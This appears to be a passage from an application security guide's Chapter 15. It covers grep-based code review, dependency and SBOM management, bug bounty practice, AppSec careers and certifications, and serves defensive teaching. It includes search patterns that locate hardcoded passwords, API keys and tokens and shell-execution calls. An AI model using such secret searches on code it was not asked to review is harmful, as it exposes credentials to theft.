DATABASE QUERIES grep -r "query\|execute\|rawQuery" --include="*.py" . Look for: string concatenation with user variables → parameterise HTML OUTPUT grep -r "innerHTML\|document.write\|dangerouslySetInnerHTML" . Look for: user-controlled values without sanitisation → textContent/DOMPurify SHELL COMMANDS grep -r "exec\|system\|popen\|subprocess" --include="*.py" . Look for: string interpolation of user input → use arrays/library APIs FILE OPERATIONS grep -r "open\|readFile\|fopen" . | grep "request\|param\|input" Look for: user-controlled file paths → canonicalise + check prefix HTTP CLIENT (SSRF) grep -r "requests.get\|fetch\|axios\|http.get" . | grep "param\|body\|input" Look for: user-controlled URLs → allowlist + private IP rejection CRYPTOGRAPHY grep -r "md5\|sha1\|DES\|ECB\|Math.random" . Look for: weak algorithms → replace with current recommendations HARDCODED SECRETS grep -r "password\|secret\|api_key\|token" . | grep "=.*['\"]" Look for: literal strings → move to environment / secrets manager

Dependency Management — The Supply Chain Problem

The average Node.js application has hundreds of transitive dependencies — packages that your packages depend on. Each one is a potential supply chain attack vector. The Log4Shell vulnerability (CVE-2021-44228) was in a transitive dependency; many organisations didn't know they were running Log4j until they needed to patch it.

  • Generate a Software Bill of Materials (SBOM) — a machine-readable inventory of every dependency and version. SPDX and CycloneDX are the standard formats. Required by US Executive Order 14028 for software sold to the federal government.
  • Automated dependency scanning via Dependabot (GitHub) or Snyk automatically opens pull requests when new CVEs are found in your dependencies.
  • Pin dependency versions in production — don't use version ranges that automatically pull in new minor versions, which may introduce vulnerabilities.
  • Define SLAs for dependency patching: Critical CVEs within 24 hours; High within 7 days; Medium within 30 days.

Bug Bounty Programmes — The Developer Perspective

Running a bug bounty programme requires as much care as having one. Common programme failures that frustrate researchers and damage relationships:

  • Scope that excludes where the vulnerabilities are — if your mobile app is out of scope and that's where the critical IDOR is, researchers will be frustrated and the vulnerability will go unreported or be disclosed publicly.
  • Slow response times — researchers expect acknowledgment within 48 hours and triage within 7 days. Programmes that take weeks to respond lose researcher trust.
  • Inconsistent severity ratings — downgrading BOLA/IDOR findings to "informational" because "you need to be authenticated" misunderstands the vulnerability. Research platforms publish ratings; consistent under-rating damages programme reputation.
  • No communication during remediation — researchers who report a critical vulnerability want to know when it's fixed. Regular updates maintain trust.

AppSec Career Paths

RoleDay-to-DaySkillsPath To
Application Security EngineerSecurity reviews, SAST/DAST tooling, developer training, vulnerability managementCode review, web vulnerabilities, SDL, dev tools integrationProduct Security Lead, AppSec Manager
Product Security EngineerSecurity design reviews, bug triage, security features, vulnerability disclosureThreat modelling, cryptography, auth design, API securityStaff/Principal Security Engineer, CISO track
Bug Bounty HunterFinding vulnerabilities in target programmes, writing reports, coordinating disclosureManual testing, web/mobile/API, report writingFull-time researcher, AppSec consultant
AppSec ConsultantPenetration tests of web applications, code reviews, SDL assessmentsAll of the above + client management, report writingPrincipal consultant, practice lead, boutique firm
DevSecOps EngineerPipeline security tooling, IaC security, secrets management, developer enablementCI/CD, IaC, SAST/SCA integration, cloud securityPlatform security, security architecture

Certifications

CertBodyFocusValue
BSCPPortSwiggerBurp Suite Certified Practitioner — practical exam on the PortSwigger academy platformExcellent — directly tied to the best free web security learning resource
GWEBGIAC/SANSWeb Application Penetration Tester — broad web testing coverageHigh — GIAC certs are well-respected; expensive
OSWEOffensive SecurityWeb Expert — white-box web app testing, source code review, chaining vulnerabilitiesVery high — practical, difficult, highly respected
eWPTeLearnSecurityWeb Application Penetration Tester — practical exam, affordableGood entry-level web testing credential
CSSLPISC²Certified Secure Software Lifecycle Professional — SDLC focusGood for AppSec engineers and developers; management track
Key Takeaways — Chapter 15
  • Security code review has specific high-value search patterns — database queries, HTML output, shell commands, file operations, HTTP clients — grep for each in every codebase
  • SBOM generation is becoming a regulatory requirement — every organisation should know every dependency it runs in production
  • PortSwigger Web Security Academy + BSCP certification is the highest-value free-to-low-cost web security learning path available
  • Bug bounty programme quality is judged by scope breadth, response time, and consistent fair severity ratings — poor programmes lose researcher participation and real bugs go unreported
  • AppSec is one of the few security specialisations where developer background is a genuine advantage — understanding how code is written makes security review faster and more effective